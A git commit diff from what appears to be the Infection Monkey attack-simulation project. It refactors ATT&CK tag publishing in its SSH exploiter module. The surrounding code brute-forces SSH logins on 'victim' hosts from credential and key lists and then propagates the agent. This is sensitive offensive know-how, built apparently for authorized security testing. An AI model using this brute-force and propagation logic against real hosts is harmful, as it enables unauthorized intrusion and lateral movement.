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Agent: Use the tag properties

This commit is contained in:
Kekoa Kaaikala 2022-10-05 17:43:40 +00:00 committed by Ilija Lazoroski
parent 79f72dda55
commit e8f48085a4
1 changed files with 16 additions and 44 deletions
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60
monkey/infection_monkey/exploit/sshexec.py
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@ -2,7 +2,7 @@ import io
import logging
from ipaddress import IPv4Address
from pathlib import PurePath
from typing import Optional
from typing import Optional, Tuple
import paramiko
@ -43,13 +43,17 @@ SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
TRANSFER_UPDATE_RATE = 15
SSH_EXPLOITER_TAG = "ssh-exploiter"
EXPLOIT_TAGS = (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG)
PROPAGATION_TAGS = (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG)
class SSHExploiter(HostExploiter):
_EXPLOITED_SERVICE = "SSH"
def _exploiter_tags(self) -> Tuple[str, ...]:
return (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG)
def _propagation_tags(self) -> Tuple[str, ...]:
return (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG)
def __init__(self):
super(SSHExploiter, self).__init__()
@ -61,7 +65,7 @@ class SSHExploiter(HostExploiter):
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
timer.reset()
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
def exploit_with_ssh_keys(self, port: int) -> paramiko.SSHClient:
user_ssh_key_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_ssh_keys"],
@ -101,11 +105,7 @@ class SSHExploiter(HostExploiter):
)
self.add_vuln_port(port)
self.exploit_result.exploitation_success = True
self._publish_exploitation_event(
target=self.host.ip_addr,
exploitation_success=True,
tags=EXPLOIT_TAGS,
)
self._publish_exploitation_event(True)
self.report_login_attempt(True, user, ssh_key=ssh_string)
return ssh
except paramiko.AuthenticationException as err:
@ -114,19 +114,14 @@ class SSHExploiter(HostExploiter):
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}"
)
logger.info(error_message)
self._publish_exploitation_event(
target=self.host.ip_addr,
exploitation_success=False,
error_message=error_message,
tags=EXPLOIT_TAGS,
)
self._publish_exploitation_event(False, error_message=error_message)
self.report_login_attempt(False, user, ssh_key=ssh_string)
continue
except Exception as err:
logger.error(f"Unknown error while attempting to login with ssh key: {err}")
raise FailedExploitationError
def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
def exploit_with_login_creds(self, port: int) -> paramiko.SSHClient:
user_password_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_password_list"],
@ -158,23 +153,14 @@ class SSHExploiter(HostExploiter):
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
self.add_vuln_port(port)
self.exploit_result.exploitation_success = True
self._publish_exploitation_event(
target=self.host.ip_addr,
exploitation_success=True,
tags=EXPLOIT_TAGS,
)
self._publish_exploitation_event(True)
self.report_login_attempt(True, user, current_password)
return ssh
except paramiko.AuthenticationException as err:
error_message = f"Failed logging into victim {self.host} with user: {user}: {err}"
logger.debug(error_message)
self._publish_exploitation_event(
target=self.host.ip_addr,
exploitation_success=False,
error_message=error_message,
tags=EXPLOIT_TAGS,
)
self._publish_exploitation_event(False, error_message=error_message)
self.report_login_attempt(False, user, current_password)
ssh.close()
continue
@ -195,7 +181,6 @@ class SSHExploiter(HostExploiter):
except FailedExploitationError as err:
self.exploit_result.error_message = str(err)
logger.error(str(err))
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
@ -204,15 +189,9 @@ class SSHExploiter(HostExploiter):
try:
self._propagate(ssh)
except FailedExploitationError as err:
ssh.close()
self.exploit_result.error_message = str(err)
logger.error(self.exploit_result.error_message)
self._publish_propagation_event(
target=self.host.ip_addr,
propagation_success=False,
error_message=self.exploit_result.error_message,
tags=PROPAGATION_TAGS,
)
self._publish_propagation_event(False, error_message=self.exploit_result.error_message)
except RuntimeError as err:
error_message = str(err)
self.exploit_result.error_message = error_message
@ -221,7 +200,7 @@ class SSHExploiter(HostExploiter):
ssh.close()
return self.exploit_result
def _exploit(self, port) -> paramiko.SSHClient:
def _exploit(self, port: int) -> paramiko.SSHClient:
try:
ssh = self.exploit_with_ssh_keys(port)
except FailedExploitationError:
@ -270,14 +249,7 @@ class SSHExploiter(HostExploiter):
)
self.exploit_result.propagation_success = True
self._publish_propagation_event(
target=self.host.ip_addr,
propagation_success=True,
tags=PROPAGATION_TAGS,
)
ssh.close()
self._publish_propagation_event(True)
self.add_executed_cmd(cmdline)
except Exception as exc: